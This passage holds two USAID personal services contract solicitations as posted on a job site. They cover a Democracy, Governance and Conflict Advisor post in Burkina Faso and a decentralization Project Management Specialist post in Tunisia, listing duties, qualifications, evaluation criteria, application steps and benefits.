basis of race, color, religion, sex (including pregnancy and gender identity), national origin, political affiliation, sexual orientation, marital status, disability, genetic information, age, membership in an employee organization, retaliation, parental status, military service, or other non-merit factor. END OF RE-SOLICITATION Kindly download the document attached on your right for further information. Issuing Country Senegal Date Wednesday, June 30, 2021 - 8:00am



Job Attachment



Route des Almadies B.P. 49 Dakar, Senegal Tel.: (221) 33 879 4000 Website: http://www.usaid.gov/senegal RE-SOLICITATION NUMBER: 72068520R00011-0001 ISSUANCE DATE: June 30, 2021 CLOSING DATE AND TIME: July 20, 2021- 11:59 p.m. (GMT) SUBJECT: Re-solicitation for a U.S. Citizen /Third Country National Personal Service Contractor (US/TCN PSC)- Democracy, Governance and Conflict Advisor Burkina Faso Dear Prospective Offerors: The United States Government, represented by the U.S. Agency for International Development (USAID), is seeking offers from U.S. citizens qualified to provide personal services under contract as described in this re-solicitation. Offers must be in accordance with Attachment 1, Sections I through VIII of this re-solicitation. Incomplete or unsigned offers will not be considered. Offerors should retain copies of all offer materials for their records. This re-solicitation in no way obligates USAID to award a PSC contract, nor does it commit USAID to pay any cost incurred in the preparation and submission of the offers. Any questions must be directed in writing to the Point of Contact specified in the attached information. Sincerely, Rodney Stubina, PhD Acting Supervisory Regional Executive Officer 2 ATTACHMENT 1 I. GENERAL INFORMATION 1. RE-SOLICITATION NUMBER: 72068520R00011-0001 2. ISSUANCE DATE: June 30, 2021 3. CLOSING DATE AND TIME FOR RECEIPT OF OFFERS: July 20, 2021- 11:59 p.m. (GMT) 4. POINT OF CONTACT: Recruitment team, (see application details) 5. POSITION TITLE: Democracy, Governance and Conflict Advisor 6. MARKET VALUE: GS-14 ($93,907 - $122,077 per annum) (Final compensation will be negotiated within the listed market value.) 7. PERIOD OF PERFORMANCE: Immediate upon receipt of security/medical clearances (The duration of the US Personal Services Contract will be for one (1) year, with four one-year option periods, subject to satisfactory performance, availability of funds and continuing need for the position.) Level of effort is full time (40 hours per week). Base Period: o/a September 1, 2021 to August 31, 2022 Option Period 1: o/a September 1, 2022 to August 31, 2023 Option Period 2: o/a September 1, 2023 to August 31, 2024 Option Period 3: o/a September 1, 2024 to August 31, 2025 Option Period 4: o/a September 1, 2025 to August 31, 2026 8. PLACE OF PERFORMANCE: US Embassy/USAID compound in Ouagadougou, Burkina Faso. 9. ELIGIBLE OFFERORS: United States Citizens and Third Country Nationals are eligible offerors. TCNPSC under this re-solicitation are eligible for benefits in accordance with AIDAR Appendix J, sec. 4(c)(2)(ii)(B)). An exception has been approved by the Mission Director in accordance with AIDAR Appendix J and ADS 309maa, requesting Approval to Use Alternate Classification Procedures (ACP). 10. SECURITY LEVEL REQUIRED: Facility Access for USPSC -TCN The final selected offeror must obtain both the appropriate level of security and medical clearances within a reasonable period (USAID will provide details regarding these clearances to the selected offeror). If such clearance is not obtained within a reasonable time or negative suitability issues are involved, any offer made may be rescinded. 3 11. STATEMENT OF DUTIES: A. COUNTRY BACKGROUND USAID/Burkina Faso Country Office is seeking a Democracy, Rights, Governance and Conflict Advisor who will support the design, implementation and monitoring of its Democracy, Rights and Governance and Countering Violent Extremism (DRG/CVE) programs. Burkina is on the front lines of a Sahel region-wide struggle against encroaching violent extremist organizations, so this position is an opportunity to make a difference in a difficult security and development context that is important for the whole West African region. USAID's DG and CVE work is vital to this effort and includes elections, human rights, governance, civil society, and CVE activities. The Country Office works closely with the Government of Burkina Faso (GoBF), inter-agency partners, other donors, implementers and civil society. USAID/Burkina Faso reports to USAID Senegal and is supported by that Mission's Sahel Regional Office (SRO). The Advisor will also work closely with USAID West Africa's Regional Peace and Governance Office (WA). B. POSITION DESCRIPTION The Democracy Governance and Conflict Advisor will serve as USAID's expert and advisor on a range of issues such as governance, transparency, human rights, civil society, elections, and conflict prevention. The Advisor will have a general understanding of democracy and governance and its cross- sectoral applications. The incumbent should also have specific technical expertise in at least three of the following: regulatory and policy frameworks; public administration and accountability; civil society strengthening and engagement including in advocacy and oversight; multi-stakeholder collective action for improved public service delivery; conflict prevention and peace building including counter-violent extremism approaches; local governance and service delivery; elections and legislative processes; gender and social inclusion; and/or youth development. The Advisor should be highly motivated, capable of working independently and also as part of a dynamic team. This Advisor will participate as a key member of the USAID Country Office team and liaise with staff from other technical offices in the regional USAID West Africa mission in Accra or the Sahel Regional Office in Dakar. S/he collaborates with other USAID technical and support offices and operates within a complex, fluid political environment and with officials in the United States Government (USG) and the Government of Burkina Faso. The Advisor oversees DRG and Conflict programs in Burkina Faso independently or in collaboration with USAID West Africa or SRO. The Advisor will participate in or lead the design of new activities based on USAID requirements and availability of funding. The Advisor ensures that these programs are effectively implemented in the field and in accordance with the USAID contract/agreement and the approved annual work plan. S/he will also provide technical advice to other USAID teams on DG/Conflict as it relates to other sectors, including USAID as related to resilience activities in Burkina Faso (e.g. health, education, agriculture, environment, etc). The DG Advisor maintains close communication with GOBF officials and relevant stakeholders for effective program management. The DG team relies upon the Advisor's technical advice and networking expertise with Government of Burkina Faso ministries as well as local authorities to strengthen USAID assistance. The Advisor also communicates regularly with donors, civil society organizations, universities, through multi-stakeholder forums, donor meetings and other functions as appropriate to maintain current sector knowledge relevant to programs managed by the Advisor. 4 C. SPECIFIC DUTIES AND RESPONSIBILITIES Program Management and Oversight (50%)

Leads or assists in management, oversight, and monitoring of USAID-funded DG/Conflict projects, as assigned.

Assists in the design and development of new activities as needed and ensures that new interventions are consistent with DG strategic objectives, and/or USG strategies.

Independently evaluates annual work plans for DRG activities, and other activities as needed, making programmatic adjustments when required.

Monitors, evaluates, and analyzes implementation of DRG projects, closely coordinating with the grantee(s)/contractor(s) on the results and outcomes.

Provides analysis of evaluations, performance data and reporting documents.

Performs regular field-level project monitoring, oversight, and other program-related local travel. Serves as an expert resource and/or technical Advisor on a range of DRG issues. Communication (35%)

Prepares and updates briefing papers, reports and press releases as assigned as well as specialized documents as needed.

Meets with government, civil society, private institutions, and other donor representatives, to provide issue-oriented briefings and presentations as needed.

Represents USAID at inter-agency and external technical working groups, workshops, and conferences.

Maintains intimate knowledge of DG project objectives, accomplishments, and development impacts to synthesize in writing or orally for meetings, speeches, background papers and other USAID reporting requirements.

Interprets and advises USAID Burkina Faso and U.S. Embassy Ouagadougou on GOBF policies, institutional issues and program priorities affecting the direction and implementation of DG programs.

Informs Country Representative and relevant SRO and USAID West Africa colleagues about political events that affect program implementation and impact DG activities. Financial Management and Procurement (15%)

Assists in the development and/or technical review of project budgets.

Tracks the financial status and expenditures of DRG activities and recommends future incremental funding.

Maintains complete and auditable financial records for activities managed.

Maintains complete and auditable files of all procurement documents (contracts, grants and other procurement supporting documents) meeting USG requirements. The job may be expected to perform work-related travel. Supervision Received: The immediate supervisor of this position will be the USAID Country Representative in the USAID Burkina Faso Country Office. The supervisor sets the overall objectives and resources available. The incumbent has responsibility for independently planning, designing, and carrying out programs, projects, studies or other work. The incumbent keeps the supervisor informed of progress and potentially controversial matters. 5 Supervision Exercised: Supervises one Cooperating Country National Personal Service Contract Democracy, Rights and Governance Specialist. 12. PHYSICAL DEMANDS: The work requested does not involve undue physical demands. II. MINIMUM QUALIFICATIONS REQUIRED FOR THIS POSITION

Master's Degree in political science, law, human rights, conflict, governance or other relevant field.

Evidence that applicant is actively engaged in maintaining an updated knowledge/skill set in the advancement of theory and practice in the relevant field.

At least seven years of progressively responsible experience in the design and management of development and/or humanitarian programs, at least three of which have included specific and extensive involvement in conflict prevention, mitigation and management, democracy and good governance advancement, human rights, and working with or supporting civil society.

Prior work experience in the design or management of cross sectoral governance, civil society strengthening, conflict, countering violent extremism, election support, and/or public administration and accountability. III. EVALUATION AND SELECTION FACTORS The Government may award a contract without discussions with offerors in accordance with FAR 52.215-1. The CO reserves the right at any point in the evaluation process to establish a competitive range of offerors with whom negotiations will be conducted pursuant to FAR 15.306(c). In accordance with FAR 52.215-1, if the CO determines that the number of offers that would otherwise be in the competitive range exceeds the number at which an efficient competition can be conducted, the CO may limit the number of offerors in the competitive range to the greatest number that will permit an efficient competition among the most highly rated offers. The FAR provisions referenced above are available at https://www.acquisition.gov/browse/index/far. Selection Process After the closing date for receipt of application, a committee will convene to review applications that meet the minimum requirements and evaluate them in accordance with the evaluation criteria. Applications from offerors who do not meet the minimum requirements will not be scored. As part of the selection process, finalist offerors will be interviewed. Reference checks will be made only for applicants considered as finalists. The applicant's references must be able to provide substantive information about his/her performance and abilities. 6 Evaluation Factors The following factors will be the basis for the evaluation of applications meeting the required minimum qualifications. All applications will be evaluated based on the documentation submitted with the application. USAID reserves the right to contact your previous employers for relevant information concerning your performance and may consider such information in its evaluation. The highest- ranking applicants may be selected for an interview. Work Experience (40 points): The Advisor must have at least seven (7) years of progressively responsible managerial and/or project management experience including at least three years' experience providing development assistance in three or more of the following areas: legal, regulatory, and policy frameworks; public administration and accountability; civil society strengthening and engagement, including in advocacy and oversight; multi-stakeholder collective action for improved public service delivery; conflict prevention and peace building, including countering violent extremism; local governance and service delivery; elections and legislative processes; human rights and access to justice; gender and social inclusion; and youth. Must have prior work or consultative experience with USAID or other bilateral or multilateral development agencies. Knowledge (20 points):

The Advisor should have demonstrated broad technical knowledge of three or more of the following areas related to USAID's country strategy: regulatory and policy frameworks; public administration and accountability; civil society strengthening and engagement, including in advocacy and oversight; multi-stakeholder collective action for improved public service delivery; conflict prevention and peace building, including countering violent extremism; local governance and service delivery; elections and legislative processes; human rights and access to justice; gender and social inclusion; and youth.

S/he must demonstrate strong knowledge of project or program management and organizational management, as well as of NGO and USG operations.

The Advisor must also possess knowledge of existing DG-related policies, with a demonstrated understanding of how these policies impact other sectors. Abilities and Skills (40 points): The applicant should be able to demonstrate the following abilities and skills:

Strong organizational skills, self-motivation, and the ability to work independently with little supervision.

Excellent communication, presentation and inter-personal skills.

Rigorous analytical skills and ability to transfer technical DRG knowledge into activity designs, reporting, policy papers, and other documents for internal and external audiences.

Ability to communicate DRG integration to Specialist staff from other technical sectors for improved programming.

Ability to work in a team environment and across USAID offices and other agencies at post.

Ability to manage large, complex development assistance projects.

Capacity to prepare technical and analytical documents in English with little editing.

Ability to develop and maintain high level contacts (GOBF, donors, civil society, local bodies) and productive working relationships with other counterparts. 7

Ability to work effectively under pressure and demonstrate flexibility to manage more than one activity at a time.

Strong computer skills to conduct work using MS Word, Excel and Power Point and the ability to learn USAID software and computer programs.

Ability to communicate the democracy and governance policies, program objectives, and analysis of USAID Burkina Faso, USAID/Senegal/SRO and USAID/West Africa at meetings with outside stakeholders.

Ability to orient, train, and supervise CCNPSC personnel. Evaluation Summary Work Experience: 40 points Knowledge: 20 points Skills and Abilities: 40 points Total Possible Points: 100 points In order to be considered for the position, an offeror must meet the Minimum Qualifications listed above. Consideration and selection will be based on a panel evaluation of the Evaluation Factors. PLEASE NOTE THAT ONLY SHORTLISTED APPLICANTS WILL BE CONTACTED OR INTERVIEWED. PAST PERFORMANCE/PROFESSIONAL REFERENCE CHECKS Applicants must provide no less than five (5) references with current contact information, preferably both an email address and a telephone number. The references will be asked to provide a general assessment of the applicant's suitability for the position. It is the responsibility of the applicant to ensure submitted references are available to provide a written or verbal reference in a timely manner. In addition to comments from references, the Selection Committee will take into account awards or other evidence of outstanding performance in any areas related to the above selection criteria. USAID/Senegal reserves the right to obtain from previous employers relevant information concerning the applicant's past performance and may consider such information in its evaluation. USAID policy specifies that U.S. citizens or resident aliens (U.S.Ns) are preferred over Third Country Nationals (TCNs). Therefore, USN and TCN offers will not be evaluated together. USAID will evaluate USN offers first and if the CO determines that there are no qualified USNs, only then will USAID evaluate TCN offers. Security and Medical Clearance Requirements The applicant selected to fill this position must be able to obtain a Facility Access Authorization and must also receive a Worldwide Availability Medical Clearance (WWA/Class 1). Details of how to obtain such clearance will be provided after selection and acceptance of the job offer. A substantial delay in obtaining either required clearance will make the applicant ineligible for selection. Compensation This position has been classified at GS-14 grade. For USPSC, the actual salary of the successful applicant will be negotiated within that pay band 8 depending on qualifications and previous earnings history. For TCNPSC, the actual salary of the successful applicant will be negotiated based on approved Alternate Classification Procedures and benefits in accordance with AIDAR Appendix J, sec. 4(c)(2)(ii)(B)). AREA OF CONSIDERATION: OPEN TO U.S. CITIZENS AND THIRD COUNTRY NATIONALS USAID policy specifies that U.S. citizens or resident aliens (USNs) are preferred over third country nationals (TCNs). Therefore, USN and TCN offers will not be evaluated together. USAID will evaluate USN offers first and if the CO determines that there are no qualified USNs, only then will USAID evaluate TCN offers. For USPSC :

Work Experience: 40 points Knowledge: 20 points Skills and Abilities: 40 points In order to be considered for the position, an offeror must meet the Minimum Qualifications listed above. Consideration and selection will be based on a panel evaluation of the Evaluation Factors. Be a U.S. Citizen;

Submit a complete application as outlined in the solicitation section titled SUBMITTING AN OFFER (Section IV);

Be able to obtain a Facility Access Authorization;

Be able to obtain a Department of State issued Medical Clearance;

Be willing/able to travel to work sites and other offices as/when requested;

Employment is subject to funds availability and all required approvals/clearances obtained. For TCNPSC :

: Be a Third Country National. Third Country National means an individual: (1) Who is neither a citizen nor a permanent legal resident of the United States nor of the country to which assigned for duty (Burkina Faso); and (2) Who is eligible for return to his/her home country or country of recruitment at U.S. Government expenses;

Submit a complete application as outlined in the section titled SUBMITTING AN OFFER (Section IV);

Be able to obtain a required Facility Access Authorization;

Be able to obtain a Department of State issued Medical Clearance;

Be willing/able to travel to work sites and other offices as/when requested;

Employment is subject to funds availability and all required approvals/clearances obtained. If a TCNPSC is selected for award, during the period of this contract, the TCNPSC contractor will be required to train a CCNPSC identified by USAID in his/her recognized Technical Area of Expertise. The Supervisor will establish a structured training plan for the TCNPSC with a work objective and performance benchmarks to measure the contractor's progress toward achieving this required training deliverable. I. SUBMITTING AN OFFER Offers must be received by the closing date and time at the address specified in Section I, item 3, and submitted electronically to: (see application details) with the Solicitation number in the application submission. Likewise, applications that have unsigned forms will also not be considered. 9 Qualified applicants are required to submit: 1. A signed and dated Cover letter with current resume/curriculum vitae (CV) attached. The CV/resume must contain sufficient relevant information to evaluate the application in accordance with the stated evaluation criteria. Broad general statements that are vague or lacking specificity will not be considered as effectively addressing particular selection criteria. 2. Applicants must provide no less than five (5) references who are not family members or relatives. References should be from direct supervisors who can provide information regarding the applicant's job knowledge and professional work experience. Applicants must provide e-mail addresses and/or working telephone numbers for all references. 3. Offeror Information for Personal Services Contracts form AID 309-2 which can be found at http://www.usaid.gov/forms/. Applicants should note that the salary history for the purposes of the AID 309-2 is the base salary paid, excluding benefits and allowances such as housing, travel, educational support, etc. Offerors are required to complete and sign the AID 309-2 form. No substitute AID form will be accepted. ALL DOCUMENTS MUST BE SUBMITTED IN ENGLISH AND ALL DOCUMENTS SHOULD BE SUBMITTED AS ONE COMPLETE PACKAGE. NOTE: This position requires the submission of complete forms and/or supplemental materials as described above. Failure to provide the required information and/signed documents will result in the applicant not being considered for employment. Applicants are required to sign and date both the Cover Letter and a completed USAID AID 309-2 form. II. LIST OF REQUIRED FORMS FOR PSC HIRES Once the Contracting Officer (CO) informs the successful applicant about being selected for a contract award, the CO will provide the successful applicant instructions about how to complete and submit the following forms: Forms outlined below can found at: http://www.usaid.gov/forms 1. Medical History and Examination form (DS-6561) 2. Questionnaire for Sensitive Positions (for National Security) (SF-86), or Questionnaire for Non- Sensitive Positions (SF-85) 3. Fingerprint Card (FD-258) 4. Declaration for Federal Employment (OF-306) III. BENEFITS/ALLOWANCES (if/as applicable) As a matter of policy, and as appropriate, a USPSC is normally authorized the following benefits and allowances: (a) Temporary Quarter Subsistence Allowance (Section 120) (b) Living Quarters Allowance (Section 130) 10 (c) Cost-of-Living Allowance (Chapter 210) (d) Post Allowance (Section 220) (e) Separate Maintenance Allowance (Section 260) (f) Education Allowance (Section 270) (g) Education Travel (Section 280) (h) Post Differential (Chapter 500) (i) Payments during Evacuation/Authorized Departure (Section 600), and (j) Danger Pay Allowance (Section 650) As a matter of policy, and as appropriate, an offshore TCNPSC is normally authorized the following allowances: (a) Post Differential (Section 500) (b) Post Allowance (COLA) (Section 220) (c) Payments During Evacuation (Section 600) (d) Education Allowance (Section 270) (e) Separate Maintenance Allowance (Section 260) (f) Educational Travel (Section 280) IV. TAXES USPSCs are required to pay Federal income taxes, Medicare and applicable State Income taxes. TCNPSCs are subject to an individual's country tax laws and should follow tax requirement of their country of origin. V. USAID REGULATIONS, POLICIES AND CONTRACT CLAUSES PERTAINING TO PSCs USAID regulations and policies governing USPSC awards are available at these sources: 1. USAID Acquisition Regulation (AIDAR), (available at https://www.usaid.gov/sites/default/files/documents/1868/aidar_0.pdf - Appendix D, "Direct USAID Contracts with a U.S. Citizen or a U.S. Resident Alien for Personal Services Abroad," including contract clause "General Provisions". - Appendix J, "Direct USAID Contracts with a Third Country National for Personal Services Abroad," including contract clause "General Provisions". 2. Contract Cover Page form AID 309-1 available at https://www.usaid.gov/forms. 3. Acquisition and Assistance Policy Directives/Contract Information Bulletins (AAPDs/CIBs) for Personal Services Contracts with Individuals available at http://www.usaid.gov/work-usaid/aapds-cibs. 4. Ethical Conduct. By the acceptance of a USAID personal services contract as an individual, the contractor will be acknowledging receipt of the "Standards of Ethical Conduct for Employees of the Executive Branch," available from the U.S. Office of Government Ethics, in accordance with General Provision 2 and 5 CFR 2635. See https://www.oge.gov/web/oge.nsf/OGE%20Regulations. 5. PSC Ombudsman 11 The PSC Ombudsman serves as a resource for any Personal Services Contractor who has entered into a contract with the United States Agency for International Development and is available to provide clarity on their specific contract with the agency. Please visit our page for additional information: https://www.usaid.gov/work-usaid/personal-service-contracts-ombudsman. The PSC Ombudsman may be contacted via: (see application details). Equal Employment Opportunity Policy The United States Government does not discriminate in employment on the basis of race, color, religion, sex (including pregnancy and gender identity), national origin, political affiliation, sexual orientation, marital status, disability, genetic information, age, membership in an employee organization, retaliation, parental status, military service, or other non-merit factor. END OF RE-SOLICITATION




SOLICITATION NUMBER: 72066421R0002 ISSUANCE DATE: July 12, 2021

CLOSING DATE/TIME: August 13, 2021, 6:00 pm Tunis time

SUBJECT: Solicitation for a Cooperating Country National Personal Service Contractor (CCN PSC - Local Compensation Plan)- USAID Project Management Specialist (Decentralization) 72066421R0002 USAID Project Management Specialist (Decentralization) Dear Prospective Offerors: The United States Government, represented by the U.S. Agency for International Development (USAID), is seeking offers from qualified persons to provide personal services under contract as described in this solicitation. Offers must be in accordance with Attachment 1 of this solicitation. Incomplete or unsigned offers will not be considered. Offerors should retain copies of all offer materials for their records. This solicitation in no way obligates USAID to award a PSC contract, nor does it commit USAID to pay any cost incurred in the preparation and submission of the offers. Any questions must be directed in writing to the Point of Contact specified in the Attached 1.



Job Attachment

SOLICITATION NUMBER: 72066421R0002 ISSUANCE DATE: July 12, 2021 CLOSING DATE/TIME: August 13, 2021, 6:00 pm Tunis time SUBJECT: Solicitation for a Cooperating Country National Personal Service Contractor (CCN PSC - Local Compensation Plan)- USAID Project Management Specialist (Decentralization) Dear Prospective Offerors: The United States Government, represented by the U.S. Agency for International Development (USAID), is seeking offers from qualified persons to provide personal services under contract as described in this solicitation. Offers must be in accordance with Attachment 1 of this solicitation. Incomplete or unsigned offers will not be considered. Offerors should retain copies of all offer materials for their records. This solicitation in no way obligates USAID to award a PSC contract, nor does it commit USAID to pay any cost incurred in the preparation and submission of the offers. Any questions must be directed in writing to the Point of Contact specified in the Attached 1. Sincerely, James Mayer Contracting Officer ATTACHMENT 1 72066421R0002 2 I. GENERAL INFORMATION 1. SOLICITATION NO.: 72066421R0002 2. ISSUANCE DATE: July 12, 2021 3. CLOSING DATE AND TIME FOR RECEIPT OF OFFERS: August 13, 2021, 6:00pm Tunis time 4. POINT OF CONTACT: USAID MERP HR, e-mail at (see application details). 5. POSITION TITLE: USAID Project Management Specialist (Decentralization) 6. MARKET VALUE: TND 79,454 - TND 121,418 equivalent to FSN- 11 In accordance with AIDAR Appendix J and the Local Compensation Plan of USAID/Tunisia. Final compensation will be negotiated within the listed market value. 7. PERIOD OF PERFORMANCE: Five-Year Period of Performance, estimated to start o/a December 2021, with a possibility to renew in accordance with Automated Directive System (ADS 309) - Personal services contracts are subject to the five-year limitation in accordance with FAR Part 17. In accordance with AIDAR Appendix J, CCNPSCs are of a continuing nature and expected to be part of a series of sequential contracts, each not to exceed the five- year limitation in the FAR. 8. PLACE OF PERFORMANCE: Tunis, USAID/Tunisia 9. ELIGIBLE OFFERORS: Cooperating country nationals: Tunisian citizens and a non- cooperating country citizen lawfully admitted for permanent residence in the cooperating country. Eligible offerors with valid work permit at the time of application to work in Tunisia. 10. SECURITY LEVEL REQUIRED: Facility access 11. STATEMENT OF DUTIES 1. Basic Function of the Position The Decentralization/ Local Governance Specialist, a Cooperating Country National (CCN), will serve as a program manager and technical advisor on issues related to decentralization and local governance. Programs mainly focus on institutional strengthening, policy and regulatory reform, oversight and accountability, public financial management, municipal service delivery, administrative reform, and participatory and community planning. S/he must have a deep understanding of Tunisia's government and political system built through years of practical experience and relevant experiential learning-by-doing in his/her capacity to serve as a development advisor for decentralization and local governance in Tunisia A demonstrated understanding of the inter-relations between Tunisia's institutions, parliament, and political system is necessary for the job, as is a deep understanding of relevant laws related to decen tralization and sub national governance. S/he will report to the Democracy and Governance (DG) Office Director for USAID/Tunisia. The position will require close collaboration and coordination with other USAID technical offices in USAID/Tunisia, and U.S. Embassy Tunisia's Political Section. S/he must be able to build and maintain an extensive network of contacts and work with officials in the United States Government (USG), the Government of Tunisia (GOT) line ministries, governors, mayors, municipal councils, political parties, civil society organizations, media and other donor stakeholders. The Specialist will work to ensure collaboration and coordination of other international and domestic projects related to decentralization in Tunisia. The Specialist will be responsible for research, information gathering and analysis and reporting on sub-national governance and decentralization-related issues, laws, and trends as well as issues in other governance-related sectors as assigned. 2. Major Duties and Responsibilities Program Management, Administration and Monitoring & Evaluation (40%) Serve as AOR/COR or alternate AOR/COR of one or more USAID-funded DRG projects in Tunisia, particularly those related to decentralization and/or sub-national governance.

Participate in the design, development and review of new projects and activities, studies, and project evaluations.

Review contractor and/or grantee products and track performance of project(s) against the work plan, performance management plan, and USAID/Tunisia development objectives and indicators.

Conducts field visits to project sites across Tunisia for the purpose of monitoring the implementation and progress of project(s). Prepares meeting/event/trip reports and supplements these with oral reports to the DG Office Director, the Mission Director and, as required, other internal USG stakeholders.

Gathers and prepares information for reporting to Mission leadership, USAID/Washington, U.S. Embassy Tunis Offices and others as requested.

Contributes to internal USAID/Tunisia discussions and drafts documents related to project implementation and new designs.

Assists with the development of briefings for USAID/Tunisia, Embassy and other stakeholders (e.g., temporary duty staff, representatives from non-government organizations, delegations, other donors, etc.)

Maintains an organized and professional work environment at all times, meeting USAID file management requirements.

Performs other duties, as necessary to support the implementation of DRG Office projects and portfolio. Policy Analysis & Project Development (30%)

Conducts analyses of current and proposed GOT policies, from the perspective of strategic USG interests and USAID development objectives.

Assists with strategic analyses of national, regional and local policies in Tunisia and assesses how they can be better integrated in order to reinforce USAID's and the broader USG's objectives and goals.

Participates in sector assessments and/or studies.

Provides policy guidance to the DG office director on decentralization, sub -national governance, and/or parliamentary affairs.

Acts as the USAID's resident expert for Decentralization, national and sub -national governance, and related policies and laws. Communication, Outreach and Liaison (20%)

Contributes to the development of USAID/Tunisia reporting and other products including operational plans, performance plan reports, CDCS, initial environmental examinations, congressional budget notifications, integrated country strategy, and other DG sector products.

Prepares weekly updates, briefing papers, reports and press releases as assigned as well as specialized documents on decentralization and sub national governance as needed.

Ensures professional-level communication with USG and GOT officials, civil society, political parties, media and other donor representatives, to provide issue-oriented briefings and presentations, as needed.

When necessary, provides occasional interpretation, note-taking, and meeting readout support.

Maintains knowledge of DG project objectives, accomplishments, and development impacts to synthesize in writing or in briefs upon demand, especially for meetings, speeches, background papers and other USAID reporting requirements.

Ensures the DRG team is informed of current events that affect program implementation and/or impacts DRG activities.

Draft success stories and other communications pieces related to decentralization and local governance. Financial Management and Procurement (10%)

Prepares or assists with preparing procurement related materials including statements of work, program descriptions, independent government cost estimates/budget estimates, selection criteria, etc.

Serve as a member of the technical selection committee(s) when needed.

Assist in the development and/or technical review of project budgets including cost effectiveness documents.

Tracks project related financial expenditures, and prepares accrual and expenditure projection reports.

Prepares procurement requisitions, funding analysis, and other relevant financial documents.

Maintains complete and auditable files of all procurement and project documents (contracts, grants and other procurement supporting documents) in line with USG requirements. 3. Supervision Received S/he will be supervised by USAID/Tunisia's Democracy and Governance Office Director. S/he should be prepared to assume responsibility for planning, coordinating and carrying-out specific activities independently and in coordination with the supervisor, as appropriate. S/he must be able to perform duties with minimal day-to-day supervision. 4. Supervision Exercised The supervision of other staff is not contemplated. 12. PHYSICAL DEMANDS The work requested does not involve undue physical demands. II. MINIMUM QUALIFICATIONS REQUIRED FOR THIS POSITION a. Education : Master's Degree in law, public administration, economics, international relations, political science, development studies, social sciences, or other related areas from an accredited university. b. Prior Work Experience : The Job Holder must have a minimum of five (5) years of progressively responsible work experience including experience in decentralization, local governance, sub-national governance, parliamentary affairs, public service, policy reform, political processes, elections, or advocacy. c. Language Proficiency: Fluency (Level IV) in spoken and written English, Arabic and French (level 4 s/r/w), is required. III. EVALUATION AND SELECTION FACTORS The Government may award a contract without discussions with offerors in accordance with FAR 52.215-1. The CO reserves the right at any point in the evaluation process to establish a competitive range of offerors with whom negotiations will be conducted pursuant to FAR 15.306(c). In accordance with FAR 52.215-1, if the CO determines that the number of offers that would otherwise be in the competitive range exceeds the number at which an efficient competition can be conducted, the CO may limit the number of offerors in the competitive range to the greatest number that will permit an efficient competition among the most highly rated offers. The FAR provisions referenced above are available at https://www.acquisition.gov/browse/index/far. 1. Work Experience: (40 points) Experience in partnering and interacting with governmental institutions at the municipal/regional/governate level and with civil society organization is required. Demonstrated experience on working groups, advisory groups, or advocacy efforts related to the laws, regulations, and issues related to sub-national governance is required. Experience training in relevant good governance topic areas is a plus. Experience working in a government institution and/or a Tunisian civil society organization is required. 2. Knowledge (20 points)

Knowledge of relevant laws and regulatory issues related to decentralization, including the code of collectivities, and the application of these laws and regulations at the national and sub national level in Tunisia.

Knowledge of the Government of Tunisia's budget planning, execution, and monitoring process and related GOT public financial management processes.

Knowledge of governance-related development issues, especially in the domain of local governance, decentralization, elections, administrative reform, and/or parliamentary affairs.

Knowledge of the relationship between Tunisian civil society and Tunisian government institutions, particularly on CSO activities outside of Tunis.

Knowledge of the administrative composition and relationships between municipal councils, mayors, governors, and the central government.

Knowledge of program management

Knowledge of project coordination.

Knowledge gained through practical experience in design and delivery of assistance to local governments; including in local planning and policy design; public consultations, local financial management; local infrastructure, etc.

Excellent understanding of the overall political, administrative and institutional set-up of local governance in Tunisia. 3. Skills & Abilities (40 points)

Must be able to maintain effective working relationships and contacts with USAID and Embassy personnel, Government of Tunisia, contractors, grantees, Tunisian civil society organizations, Tunisian media, and other donor agencies.

Ability to obtain, organize, analyze, evaluate, and present information in a clear, concise manner. S/he must be able to communicate effectively both orally and in writing. Proficiency in word processing, spreadsheet applications, Internet search engines, and PowerPoint - including typing skills in Arabic, French and English, is required.

The Job Holder must be proactive, flexible, and dedicated, with a willingness to take on new and various tasks and responsibilities.

The Job Holder must be willing and able to travel.

The Job Holder should have a demonstrated ability to assume management and leadership roles.

The Job Holder must be resourceful, have good judgment, and have the ability to work with persons from many backgrounds.

Ability to take strong meeting notes and document key points and decisions taken. Ability to provide occasional translation in meetings or workshops, as necessary.

Capacity to prepare technical documents in English (with some editing) and translate French and/or Arabic documents to English and vice versa.

Ability to work effectively under pressure and demonstrate flexibility to manage more than one activity at a time. 4. Reference Verification: Pass/Fail The successful candidate(s) will be evaluated based upon the following: 1. A preliminary review of the applicant's submitted application package to establish that minimum educational and experience requirements are met. 2. Language test (English & French) 3. Interview 4. Reference checks.

USAID/MERP, Frankfurt's Human Resources Section will perform the preliminary review (Step 1 above) to eliminate those applications that do not meet the minimum educational and work experience. A Language test (Step 2) will be conducted before forwarding the applications to the Technical Evaluation Committee (TEC) for further review and assessment.

The Technical Evaluation Committee will review each of the forwarded applications against the established evaluation criteria to develop a shortlist of applicants. Applicants will be contac ted for the interviews (Step 3).

Following the interview during which the applicant will be evaluated against the established criteria, the TEC will make a preliminary determination of candidates to be considered for employment and forward that list to MERP HR. Please note that references may be solicited from current as well as former supervisors in addition to the references you provide in your application package. References will only be solicited for those interviewed applicants who are being considered for ranking.

Based on this final input, the TEC will make its final decision on which candidates to rank order, prepare a TEC Memo for the review and approval of the Contracting Officer, after which an offer of employment will be made to the successful candidate(s).

Unsuccessful candidates who were interviewed will be contacted and advised of their non - selection. IV. SUBMITTING AN OFFER 1. Eligible offerors are required to apply via ERA (Electronic Recruitment Application) system. 2. Kindly ensure you enclose a Cover Letter, CV/Resume and a list of 3 references in ERA by the closing date and time specified in Section I, item 3. 3. Offeror submissions must clearly reference the Solicitation number on all offeror submitted documents. V. LIST OF REQUIRED FORMS PRIOR TO AWARD The CO will provide instructions about how to complete and submit the following forms after an offeror is selected for the contract award: 1. Background investigation forms 2. Medical clearance forms VI. BENEFITS AND ALLOWANCES Benefits/Allowances as applicable for Tunisia Local Compensation Plan includes: - Food Allowance - Transportation Allowance - Miscellaneous Benefit Allowance - Year-End Allowance - Biweekly Bonus VII. TAXES Post will not assume any obligation or responsibility to withhold taxes levied by the host government. It is the responsibility of the individual to ensure that all requirements as established by the Tunisian Government with regard to taxes are adhered to. VIII. USAID REGULATIONS, POLICIES AND CONTRACT CLAUSES PERTAINING TO PSCs USAID regulations and policies governing CCN and TCN PSC awards are available at these sources: 1. USAID Acquisition Regulation (AIDAR), Appendix J , "Direct USAID Contracts With a Cooperating Country National and with a Third Country National for Personal Services Abroad," including contract clause "General Provisions," available at https://www.usaid.gov/sites/default/files/documents/1868/aidar_0.pdf 2. Contract Cover Page form AID 309-1 available at https://www.usaid.gov/forms. LINE ITEMS ITEM NO (A) SUPPLIES/SERVICES (DESCRIPTION) (B) 